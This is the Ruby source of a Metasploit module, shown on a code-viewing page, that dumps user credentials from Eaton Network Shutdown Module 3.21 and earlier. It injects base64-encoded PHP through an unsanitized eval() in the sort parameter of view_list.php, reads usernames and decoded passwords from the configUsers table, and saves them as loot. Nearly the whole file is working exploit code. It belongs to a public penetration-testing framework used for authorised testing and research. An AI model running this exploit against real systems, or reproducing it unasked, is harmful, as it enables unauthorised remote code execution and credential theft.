Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/eaton_nsm_creds.rb
21532 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Network Shutdown Module sort_values Credential Dumper',
15
'Description' => %q{
16
This module will extract user credentials from Network Shutdown Module
17
versions 3.21 and earlier by exploiting a vulnerability found in
18
lib/dbtools.inc, which uses unsanitized user input inside a eval() call.
19
Please note that in order to extract credentials, the vulnerable service
20
must have at least one USV module (an entry in the "nodes" table in
21
mgedb.db).
22
},
23
'References' => [
24
['OSVDB', '83199'],
25
['URL', 'https://web.archive.org/web/20121014000855/http://secunia.com/advisories/49103/']
26
],
27
'Author' => [
28
'h0ng10',
29
'sinn3r'
30
],
31
'License' => MSF_LICENSE,
32
'DisclosureDate' => '2012-06-26',
33
'Notes' => {
34
'Reliability' => UNKNOWN_RELIABILITY,
35
'Stability' => UNKNOWN_STABILITY,
36
'SideEffects' => UNKNOWN_SIDE_EFFECTS
37
}
38
)
39
)
40
41
register_options(
42
[
43
Opt::RPORT(4679)
44
]
45
)
46
end
47
48
def execute_php_code(code, opts = {})
49
param_name = Rex::Text.rand_text_alpha(6)
50
padding = Rex::Text.rand_text_alpha(6)
51
php_code = Rex::Text.encode_base64(code)
52
url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"
53
54
res = send_request_cgi(
55
{
56
'uri' => '/view_list.php',
57
'method' => 'POST',
58
'vars_get' =>
59
{
60
'paneStatusListSortBy' => url_param,
61
},
62
'vars_post' =>
63
{
64
param_name => php_code,
65
},
66
'headers' =>
67
{
68
'Connection' => 'Close'
69
}
70
}
71
)
72
res
73
end
74
75
def read_credentials
76
pattern = Rex::Text.rand_text_numeric(10)
77
users_var = Rex::Text.rand_text_alpha(10)
78
user_var = Rex::Text.rand_text_alpha(10)
79
php = <<-EOT
80
$#{users_var} = &queryDB("SELECT * FROM configUsers;");
81
foreach($#{users_var} as $#{user_var}) {
82
print "#{pattern}" .$#{user_var}["login"]."#{pattern}".base64_decode($#{user_var}["pwd"])."#{pattern}";
83
} die();
84
EOT
85
86
print_status("Reading user credentials from the database")
87
response = execute_php_code(php)
88
89
if not response or response.code != 200 then
90
print_error("Failed: Error requesting page")
91
return
92
end
93
94
credentials = response.body.to_s.scan(/\d{10}(.*)\d{10}(.*)\d{10}/)
95
return credentials
96
end
97
98
def run
99
credentials = read_credentials
100
if credentials.empty?
101
print_warning("No credentials collected.")
102
print_warning("Sometimes this is because the server isn't in the vulnerable state.")
103
return
104
end
105
106
cred_table = Rex::Text::Table.new(
107
'Header' => 'Network Shutdown Module Credentials',
108
'Indent' => 1,
109
'Columns' => ['Username', 'Password']
110
)
111
112
credentials.each do |record|
113
cred_table << [record[0], record[1]]
114
end
115
116
print_line
117
print_line(cred_table.to_s)
118
119
loot_name = "eaton.nsm.credentials"
120
loot_type = "text/csv"
121
loot_filename = "eaton_nsm_creds.csv"
122
loot_desc = "Eaton Network Shutdown Module Credentials"
123
p = store_loot(loot_name, loot_type, datastore['RHOST'], cred_table.to_csv, loot_filename, loot_desc)
124
print_good("Credentials saved in: #{p.to_s}")
125
end
126
end
127
128